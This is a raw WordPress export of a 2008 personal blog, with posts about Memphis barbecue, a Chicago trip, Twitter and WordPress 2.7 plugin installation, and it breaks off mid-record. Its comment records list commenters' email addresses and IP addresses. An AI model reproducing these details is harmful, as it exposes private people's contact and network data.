my out of town friends would appreciate this information, I figured I'd copy it over to here: The creator of this map even color coded it. In his words: "Green I recommend without hesitation, Yellow I recommend but have at one time or another had less-than-stellar experiences or food, Red I don't recommend at all, and Blue I've not visited..." So there you go. I agree with his recommendations for the pitifully few places on that map that I know well. Hey, I don't get out of downtown much. :)]]> 245 2008-07-14 13:35:52 2008-07-14 18:35:52 open open memphis-bbq-map publish 0 0 post 0 _edit_lock 1216068119 _geo_location , _edit_last 1 btc_comment_counts a:0:{} btc_comment_summary a:0:{} 6152 randal.cooper@gmail.com http://twitter.com/fancycwabs 199.72.208.162 2008-07-14 13:11:22 2008-07-14 18:11:22 Chinese food. Memphis actually has more Chinese places than Barbecue places, but nobody calls us the Chinese food capital of the world.]]> 1 0 0 Tired, hungover, hungry... http://ottodestruct.com/blog/2008/tired-hungover-hungry/ Fri, 18 Jul 2008 15:06:08 +0000 http://ottodestruct.com/blog/2008/07/18/tired-hungover-hungry/ 339 2008-07-18 10:06:08 2008-07-18 15:06:08 open open tired-hungover-hungry publish 0 0 post 0 aktt_notify_twitter no aktt_twitter_id 861857037 btc_comment_counts a:0:{} Wondering if noon is too early... http://ottodestruct.com/blog/2008/wondering-if-noon-is-too-early/ Sat, 19 Jul 2008 17:21:22 +0000 http://ottodestruct.com/blog/2008/07/19/wondering-if-noon-is-too-early/ 337 2008-07-19 12:21:22 2008-07-19 17:21:22 open open wondering-if-noon-is-too-early publish 0 0 post 0 aktt_notify_twitter no aktt_twitter_id 862823914 btc_comment_counts a:0:{} Watching horse racing at Calho... http://ottodestruct.com/blog/2008/watching-horse-racing-at-calho/ Sun, 20 Jul 2008 00:01:48 +0000 http://ottodestruct.com/blog/2008/07/19/watching-horse-racing-at-calho/ 335 2008-07-19 19:01:48 2008-07-20 00:01:48 open open watching-horse-racing-at-calho publish 0 0 post 0 aktt_notify_twitter no aktt_twitter_id 863024410 btc_comment_counts a:0:{} Ahh... Brunch. http://ottodestruct.com/blog/2008/ahh-brunch-3/ Mon, 21 Jul 2008 02:23:10 +0000 http://ottodestruct.com/blog/2008/07/20/ahh-brunch-3/ 333 2008-07-20 21:23:10 2008-07-21 02:23:10 open open ahh-brunch-3 publish 0 0 post 0 aktt_notify_twitter no aktt_twitter_id 863795252 btc_comment_counts a:0:{} Ode to Joy http://ottodestruct.com/blog/2008/ode-to-joy/ Mon, 21 Jul 2008 14:11:31 +0000 http://ottodestruct.com/blog/?p=251 Ode to Joy (Symphony No. 9, fourth movement). I've always really liked it. Really dunno why. Well, somebody took something awesome and made it awesomer. Witness the glory: [youtube=http://www.youtube.com/watch?v=xpcUxwpOQ_A] ]]> 251 2008-07-21 09:11:31 2008-07-21 14:11:31 open open ode-to-joy publish 0 0 post 0 _edit_lock 1216835207 _geo_location 35.146126,-90.053655 _edit_last 1 _geo_converted wp_geo_mashup_locations.id = 7 _geo_converted wp_geo_mashup_locations.id = 7 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Back to work... Time for coffe... http://ottodestruct.com/blog/2008/back-to-work-time-for-coffe/ Mon, 21 Jul 2008 15:13:01 +0000 http://ottodestruct.com/blog/2008/07/21/back-to-work-time-for-coffe/ 331 2008-07-21 10:13:01 2008-07-21 15:13:01 open open back-to-work-time-for-coffe publish 0 0 post 0 aktt_notify_twitter no aktt_twitter_id 864178824 btc_comment_counts a:0:{} nav-right http://ottodestruct.com/blog/archives/nav-right/ Mon, 21 Jul 2008 17:05:01 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/07/nav-right.png 254 2008-07-21 12:05:01 2008-07-21 17:05:01 open open nav-right inherit 228 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/07/nav-right.png _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/07/nav-right.png _wp_attachment_metadata a:5:{s:5:"width";i:48;s:6:"height";i:48;s:14:"hwstring_small";s:22:"height='48' width='48'";s:4:"file";s:77:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/07/nav-right.png";s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";i:0;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} nav-left http://ottodestruct.com/blog/archives/nav-left/ Mon, 21 Jul 2008 17:05:05 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/07/nav-left.png 255 2008-07-21 12:05:05 2008-07-21 17:05:05 open open nav-left inherit 228 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/07/nav-left.png _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/07/nav-left.png _wp_attachment_metadata a:5:{s:5:"width";i:48;s:6:"height";i:48;s:14:"hwstring_small";s:22:"height='48' width='48'";s:4:"file";s:76:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/07/nav-left.png";s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";i:0;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} Awaiting trivia at the saucer.... http://ottodestruct.com/blog/2008/awaiting-trivia-at-the-saucer/ Tue, 22 Jul 2008 23:56:50 +0000 http://ottodestruct.com/blog/2008/07/22/awaiting-trivia-at-the-saucer/ 327 2008-07-22 18:56:50 2008-07-22 23:56:50 open open awaiting-trivia-at-the-saucer publish 0 0 post 0 aktt_notify_twitter no aktt_twitter_id 865578595 btc_comment_counts a:0:{} Just got back from the Peabody... http://ottodestruct.com/blog/2008/just-got-back-from-the-peabody/ Fri, 25 Jul 2008 04:26:31 +0000 http://ottodestruct.com/blog/2008/07/24/just-got-back-from-the-peabody/ 323 2008-07-24 23:26:31 2008-07-25 04:26:31 open open just-got-back-from-the-peabody publish 0 0 post 0 aktt_notify_twitter no aktt_twitter_id 867721952 btc_comment_counts a:0:{} The Liquor Fairy is coming to ... http://ottodestruct.com/blog/2008/the-liquor-fairy-is-coming-to/ Fri, 25 Jul 2008 18:36:55 +0000 http://ottodestruct.com/blog/2008/07/25/the-liquor-fairy-is-coming-to/ 321 2008-07-25 13:36:55 2008-07-25 18:36:55 open open the-liquor-fairy-is-coming-to publish 0 0 post 0 aktt_notify_twitter no aktt_twitter_id 868305136 btc_comment_counts a:0:{} Superior Bar http://ottodestruct.com/blog/2008/superior-bar/ Fri, 25 Jul 2008 21:04:11 +0000 http://ottodestruct.com/blog/2008/07/25/multimedia-message/ Multimedia message, originally uploaded by Otto42. The Liquor Fairy]]> 277 2008-07-25 16:04:11 2008-07-25 21:04:11 open open superior-bar publish 0 0 post 0 _edit_lock 1218227532 _edit_last 1 aktt_notify_twitter no _geo_location 35.13928611872331,-90.0502860546112 _geo_converted wp_geo_mashup_locations.id = 10 _geo_converted wp_geo_mashup_locations.id = 12 _geo_converted wp_geo_mashup_locations.id = 12 _geo_converted wp_geo_mashup_locations.id = 12 btc_comment_counts a:0:{} btc_comment_summary a:0:{} The girls at Hoop's bar http://ottodestruct.com/blog/2008/the-girls-at-hoops-bar/ Sat, 26 Jul 2008 03:39:21 +0000 http://ottodestruct.com/blog/2008/07/25/multimedia-message-2/ Multimedia message, originally uploaded by Otto42.]]> 278 2008-07-25 22:39:21 2008-07-26 03:39:21 open open the-girls-at-hoops-bar publish 0 0 post 0 _edit_lock 1218227523 _edit_last 1 aktt_notify_twitter no _geo_location 35.140426674076664,-90.05360126495361 _geo_converted wp_geo_mashup_locations.id = 13 _geo_converted wp_geo_mashup_locations.id = 13 _geo_converted wp_geo_mashup_locations.id = 13 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Ribs! http://ottodestruct.com/blog/2008/ribs/ Sun, 27 Jul 2008 21:14:33 +0000 http://ottodestruct.com/blog/2008/07/27/multimedia-message-3/ Multimedia message, originally uploaded by Otto42.]]> 279 2008-07-27 16:14:33 2008-07-27 21:14:33 open open ribs publish 0 0 post 0 _edit_lock 1218227446 _edit_last 1 aktt_notify_twitter no aktt_notify_twitter no _geo_location 35.14011082965291,-90.05321502685547 _geo_converted wp_geo_mashup_locations.id = 11 _geo_converted wp_geo_mashup_locations.id = 11 _geo_converted wp_geo_mashup_locations.id = 11 btc_comment_counts a:0:{} btc_comment_summary a:0:{} 6263 mshaunwalker@aol.com 75.139.109.199 2008-08-23 07:45:26 2008-08-23 12:45:26 1 0 0 Plugin Install 1 http://ottodestruct.com/blog/2008/wordpress-plugin-installation/install1/ Tue, 05 Aug 2008 20:54:19 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/08/install1.png 293 2008-08-05 15:54:19 2008-08-05 20:54:19 open open install1 inherit 292 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/08/install1.png _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/install1.png _wp_attachment_metadata a:6:{s:5:"width";i:647;s:6:"height";i:116;s:14:"hwstring_small";s:23:"height='22' width='128'";s:4:"file";s:76:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/install1.png";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:20:"install1-150x116.png";s:5:"width";i:150;s:6:"height";i:116;}s:6:"medium";a:3:{s:4:"file";s:19:"install1-300x53.png";s:5:"width";i:300;s:6:"height";i:53;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";i:0;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Plugin Install 2 http://ottodestruct.com/blog/2008/wordpress-plugin-installation/install2/ Tue, 05 Aug 2008 20:54:23 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/08/install2.png 294 2008-08-05 15:54:23 2008-08-05 20:54:23 open open install2 inherit 292 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/08/install2.png _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/install2.png _wp_attachment_metadata a:6:{s:5:"width";i:984;s:6:"height";i:585;s:14:"hwstring_small";s:23:"height='76' width='128'";s:4:"file";s:76:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/install2.png";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:20:"install2-150x150.png";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:20:"install2-300x178.png";s:5:"width";i:300;s:6:"height";i:178;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";i:0;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Plugin Install 3 http://ottodestruct.com/blog/2008/wordpress-plugin-installation/install3/ Tue, 05 Aug 2008 20:54:28 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/08/install3.png 295 2008-08-05 15:54:28 2008-08-05 20:54:28 open open install3 inherit 292 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/08/install3.png _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/install3.png _wp_attachment_metadata a:6:{s:5:"width";i:1001;s:6:"height";i:532;s:14:"hwstring_small";s:23:"height='68' width='128'";s:4:"file";s:76:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/install3.png";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:20:"install3-150x150.png";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:20:"install3-300x159.png";s:5:"width";i:300;s:6:"height";i:159;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";i:0;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Plugin Install 4 http://ottodestruct.com/blog/2008/wordpress-plugin-installation/install4/ Tue, 05 Aug 2008 20:54:32 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/08/install4.png 296 2008-08-05 15:54:32 2008-08-05 20:54:32 open open install4 inherit 292 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/08/install4.png _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/install4.png _wp_attachment_metadata a:6:{s:5:"width";i:778;s:6:"height";i:436;s:14:"hwstring_small";s:23:"height='71' width='127'";s:4:"file";s:76:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/install4.png";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:20:"install4-150x150.png";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:20:"install4-300x168.png";s:5:"width";i:300;s:6:"height";i:168;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";i:0;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Plugin Install 5 http://ottodestruct.com/blog/2008/wordpress-plugin-installation/install5/ Tue, 05 Aug 2008 20:54:35 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/08/install5.png 297 2008-08-05 15:54:35 2008-08-05 20:54:35 open open install5 inherit 292 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/08/install5.png _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/install5.png _wp_attachment_metadata a:6:{s:5:"width";i:736;s:6:"height";i:309;s:14:"hwstring_small";s:23:"height='53' width='128'";s:4:"file";s:76:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/install5.png";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:20:"install5-150x150.png";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:20:"install5-300x125.png";s:5:"width";i:300;s:6:"height";i:125;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";i:0;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Plugin Install 6 http://ottodestruct.com/blog/2008/wordpress-plugin-installation/install6/ Tue, 05 Aug 2008 20:54:42 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/08/install6.png 298 2008-08-05 15:54:42 2008-08-05 20:54:42 open open install6 inherit 292 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/08/install6.png _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/install6.png _wp_attachment_metadata a:6:{s:5:"width";i:641;s:6:"height";i:175;s:14:"hwstring_small";s:23:"height='34' width='128'";s:4:"file";s:76:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/install6.png";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:20:"install6-150x150.png";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:19:"install6-300x81.png";s:5:"width";i:300;s:6:"height";i:81;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";i:0;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} New WordPress 2.7 Feature - Plugin Installation http://ottodestruct.com/blog/2008/wordpress-plugin-installation/ Tue, 05 Aug 2008 21:21:04 +0000 http://ottodestruct.com/blog/?p=292 pictures of cats instead?) So, I upgraded to the latest 2.7-bleeding edge version of WordPress on my blog today, and discovered a new feature that I had missed in my earlier readings. There was a new menu item on the Plugins menu: [caption id="attachment_293" align="alignnone" width="600" caption="New Menu Item - Install Plugins!"]New Menu Item[/caption] Yes, it appears that WordPress now has plugin installation built into it. Similar to the Plugin Upgrade feature introduced in 2.5, 2.7 will be able to download and install plugins directly from WordPress.org's plugin directory. Naturally, I had to try this out, so read on if you want to see what it looks like... [caption id="attachment_294" align="alignnone" width="300" caption="The new Plugin Install screen"]The new Plugin Install screen[/caption] The new plugin install screen has several ways to find plugins, including all the normal plugin lists from the WordPress Plugin Directory. It also has a pretty good search as well as a fairly large tag cloud at the bottom, if you're not entirely sure what you're looking for. Tip for plugin developers: Now might be a good time to look closer at those readme.txt files you've been making for the plugin directory, and be sure that you've got everything nice and neat. Especially think about tags and keywords... People have to find your plugin somehow. [caption id="attachment_295" align="alignnone" width="300" caption="Choosing a plugin"]Choosing a plugin[/caption] Choosing the plugin is just a matter of finding it and then clicking the Install link. When you do, you get to see more info about it first, before installing it. [caption id="attachment_296" align="alignnone" width="300" caption="Plugin Information"]Plugin Information[/caption] Note the "Install Now" button in the top right corner. Also note that only the description shows up, note of the other normal tabs. I don't know if this is going to change or not, but nevertheless, plugin authors should consider that their descriptions will be getting more visibility this way. [caption id="attachment_297" align="alignnone" width="300" caption="Install process"]Install process[/caption] Installation is much the same as upgrading, except it's now in a thickbox. Yes, upgrading now happens in a nice thickbox too, using this same interface. The description screen is also smart enough to detect when you already have a plugin install and have the latest version of it, and tell you "Latest Update Installed" instead of "Install Now" and such. [caption id="attachment_298" align="alignnone" width="300" caption="Activating the plugin"]Activating the plugin[/caption] After activating, it all goes back to normal. The resulting plugin gets its own subdirectory in the plugins directory, and all is well. Important note for plugin authors: This sort of thing was already critical for upgrading, but now installing makes it even more so. Your main plugin's PHP file and readme.txt file must be in the root of the SVN! You cannot package it up yourself as a ZIP file or anything like that. If it can't find the plugin's PHP file after downloading it, then your plugin won't show up, it won't be activated, and it generally won't work for anybody.]]> 292 2008-08-05 16:21:04 2008-08-05 21:21:04 open open wordpress-plugin-installation publish 0 0 post 0 _edit_lock 1217971267 _edit_last 1 _geo_location 35.14612862454304,-90.05355834960938 comment_count 1 trackback_count _geo_converted wp_geo_mashup_locations.id = 14 btc_comment_counts a:0:{} btc_comment_summary a:0:{} 6341 saveav@gmail.com http://wp.blogywalkie.com 125.164.0.14 2008-10-21 17:34:00 2008-10-21 22:34:00 wp.blogywalkie.com. Use "test" as your password and username this is very new, wp2.7 on my blog is prototype version. only few blogger has coppy of it, include me. check it out guys!!!!]]> 1 0 0 6275 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-09-25 09:56:27 2008-09-25 14:56:27 1 6273 1 6091 mateus@zapshows.com http://www.zapshows.com 189.12.111.149 2008-08-05 21:28:32 2008-08-06 02:28:32
    I'm here to publicly thank you for all the support you give on the Wordpress forum. You help a lot with your tricks and tips.

    Thanks to your help I solved many problems while developing my brand new Wordpress project, called ZapShows (http://www.zapshows.com)

    I've written an open letter so you can be sure I'm really grateful for your help. You can read it at the WP Forum: http://wordpress.org/support/topic/194623

    Feel free to spread the word and to tell me your thoughts about the project.

    Take care and keep up the good work.

    Best regards,
    Mateus Moraes
    www.zapshows.com]]>
    1 0 0
    6273 carl@grimeslegal.com 71.59.11.221 2008-09-20 11:49:11 2008-09-20 16:49:11 1 0 0 6540 support@remote-render.com http://remote-render.com 190.10.79.74 2008-12-14 01:26:06 2008-12-14 07:26:06 1 0 0 6717 zecharyw@gmail.com http://zacklive.com 65.49.2.13 2009-02-25 06:11:44 2009-02-25 12:11:44 1 0 0
    Just got a replacement battery... http://ottodestruct.com/blog/2008/just-got-a-replacement-battery/ Wed, 06 Aug 2008 17:48:39 +0000 http://ottodestruct.com/blog/2008/08/06/just-got-a-replacement-battery/ 306 2008-08-06 12:48:39 2008-08-06 17:48:39 open open just-got-a-replacement-battery publish 0 0 post 0 aktt_twitter_id 879549749 aktt_notify_twitter no btc_comment_counts a:0:{} Fun with Twitter http://ottodestruct.com/blog/2008/fun-with-twitter/ Wed, 06 Aug 2008 22:10:09 +0000 http://ottodestruct.com/blog/?p=343 Twitter Tools for making it work properly. Good WordPress plugin, still has a few odd points to it and some kinks to work out though. But it works well enough. Feel free to respond more directly to anything I have to say on Twitter.]]> 343 2008-08-06 17:10:09 2008-08-06 22:10:09 open open fun-with-twitter publish 0 0 post 0 _geo_location , aktt_notify_twitter no _edit_last 1 _edit_lock 1218060610 aktt_notify_twitter no comment_count 2 trackback_count btc_comment_counts a:0:{} btc_comment_summary a:0:{} 6314 ztpala@gmail.com http://losefoc.us 71.58.79.209 2008-09-30 20:20:51 2008-10-01 01:20:51 1 0 0 6086 james@piku.org.uk http://www.piku.org.uk 87.194.150.228 2008-08-06 20:30:39 2008-08-07 01:30:39
    Now, after installing 'Spaz' I get little popup messages. It seems to work quite well so far.

    Do I win a prize for actually finding a use for Twitter? ;-)]]>
    1 0 0
    6087 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-08-07 07:56:21 2008-08-07 12:56:21 Friend of mine set up an account to post the daily Fire Sale beer at the local Flying Saucer. Naturally, I subscribe to that one. I like that you can even have tweets sent to your phone as a text message. Now I always know what the cheap beer of the day is. :)]]> 1 0 0
    Lightning in Slow Motion http://ottodestruct.com/blog/2008/lightning-in-slow-motion/ Fri, 08 Aug 2008 15:38:41 +0000 http://ottodestruct.com/blog/?p=346 Yeah. Fuckin' metal. Found on Today's Big Thing.]]> 346 2008-08-08 10:38:41 2008-08-08 15:38:41 open open lightning-in-slow-motion publish 0 0 post 0 aktt_notify_twitter no _edit_lock 1218217196 _edit_last 1 aktt_notify_twitter no aktt_notify_twitter no aktt_notify_twitter no _geo_location 35.14612862454304,-90.05355834960938 _geo_converted wp_geo_mashup_locations.id = 14 btc_comment_counts a:0:{} btc_comment_summary a:0:{} 6085 contact@gangleri.nl 62.194.240.113 2008-08-12 11:33:02 2008-08-12 16:33:02 1 0 0 chicago_air_water_show http://ottodestruct.com/blog/2008/chicago-air-and-water-show/chicago_air_26_water_show1/ Wed, 13 Aug 2008 19:12:36 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/08/chicago_air_26_water_show1.jpg 361 2008-08-13 14:12:36 2008-08-13 19:12:36 open open chicago_air_26_water_show1 inherit 359 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/08/chicago_air_26_water_show1.jpg _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/chicago_air_26_water_show1.jpg _wp_attachment_metadata a:6:{s:5:"width";i:1024;s:6:"height";i:683;s:14:"hwstring_small";s:23:"height='85' width='128'";s:4:"file";s:94:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/chicago_air_26_water_show1.jpg";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:38:"chicago_air_26_water_show1-150x150.jpg";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:38:"chicago_air_26_water_show1-300x200.jpg";s:5:"width";i:300;s:6:"height";i:200;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";i:0;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Chicago Air and Water Show http://ottodestruct.com/blog/2008/chicago-air-and-water-show/ Wed, 13 Aug 2008 19:19:32 +0000 http://ottodestruct.com/blog/?p=359 Chicago Air and Water Show 2006[/caption] I'm taking the weekend off to go up to Chicago for the Chicago Air and Water Show, and to hang out on my friend Chuck's boat. Should be a good time. Expect more than a few Twitter posts while I'm there. For this reason, I might disable the auto-blog-posting of those during this weekend. If so, you can still see the latest ones on my Twitter feed, to see what I'm up to. The plan is to drive up there late Thursday, stop at a notel somewhere for sleep, and continue on in early Friday morning. I'm not a huge fan of that idea, but I've got people coming with me, and they're not really the drive-for-8-hours-and-then-continue-to-party-for-24-more types... So a good nights sleep at some point is likely the best course of action. I also hope to get some good Chicago pizza and have a few drinks at the top of the Hancock building (that's where everybody says to check out). But mostly, I plan on sitting on the boat, having a few brews, and enjoying the lakefront. I'll post a gallery of pictures upon my return. :)]]> 359 2008-08-13 14:19:32 2008-08-13 19:19:32 open open chicago-air-and-water-show publish 0 0 post 0 _edit_last 1 _edit_lock 1218655241 aktt_notify_twitter no aktt_notify_twitter no aktt_notify_twitter no aktt_notify_twitter no aktt_notify_twitter no aktt_notify_twitter no _geo_location 35.14612862454304,-90.05355834960938 _geo_converted wp_geo_mashup_locations.id = 14 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Serene http://ottodestruct.com/blog/2008/chicago-trip/2765219481_a5c5398c5c_o/ Mon, 18 Aug 2008 20:07:58 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/08/2765219481_a5c5398c5c_o.jpg 388 2008-08-18 15:07:58 2008-08-18 20:07:58 open open 2765219481_a5c5398c5c_o inherit 387 2 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/08/2765219481_a5c5398c5c_o.jpg _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/2765219481_a5c5398c5c_o.jpg _wp_attachment_metadata a:6:{s:5:"width";i:640;s:6:"height";i:480;s:14:"hwstring_small";s:23:"height='96' width='128'";s:4:"file";s:91:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/2765219481_a5c5398c5c_o.jpg";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:35:"2765219481_a5c5398c5c_o-150x150.jpg";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:35:"2765219481_a5c5398c5c_o-300x225.jpg";s:5:"width";i:300;s:6:"height";i:225;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";i:0;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Cool swirls in the air http://ottodestruct.com/blog/2008/chicago-trip/2765526905_992ee6e49b_o/ Mon, 18 Aug 2008 20:08:03 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/08/2765526905_992ee6e49b_o.jpg 389 2008-08-18 15:08:03 2008-08-18 20:08:03 open open 2765526905_992ee6e49b_o inherit 387 3 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/08/2765526905_992ee6e49b_o.jpg _wp_attachment_metadata a:6:{s:5:"width";i:1280;s:6:"height";i:960;s:14:"hwstring_small";s:23:"height='96' width='128'";s:4:"file";s:91:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/2765526905_992ee6e49b_o.jpg";s:5:"sizes";a:3:{s:9:"thumbnail";a:3:{s:4:"file";s:35:"2765526905_992ee6e49b_o-150x150.jpg";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:35:"2765526905_992ee6e49b_o-300x225.jpg";s:5:"width";i:300;s:6:"height";i:225;}s:5:"large";a:3:{s:4:"file";s:36:"2765526905_992ee6e49b_o-1024x768.jpg";s:5:"width";i:1024;s:6:"height";i:768;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:22:"Omnivision 9655 1.3 MP";s:7:"caption";s:0:"";s:17:"created_timestamp";i:1218830551;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/08/2765526905_992ee6e49b_o.jpg btc_comment_counts a:0:{} btc_comment_summary a:0:{} Moon over the lake http://ottodestruct.com/blog/2008/chicago-trip/2766194775_29b15a33a0_o/ Mon, 18 Aug 2008 20:08:09 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/08/2766194775_29b15a33a0_o.jpg 390 2008-08-18 15:08:09 2008-08-18 20:08:09 open open 2766194775_29b15a33a0_o inherit 387 4 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/08/2766194775_29b15a33a0_o.jpg _wp_attachment_metadata a:6:{s:5:"width";i:1280;s:6:"height";i:960;s:14:"hwstring_small";s:23:"height='96' 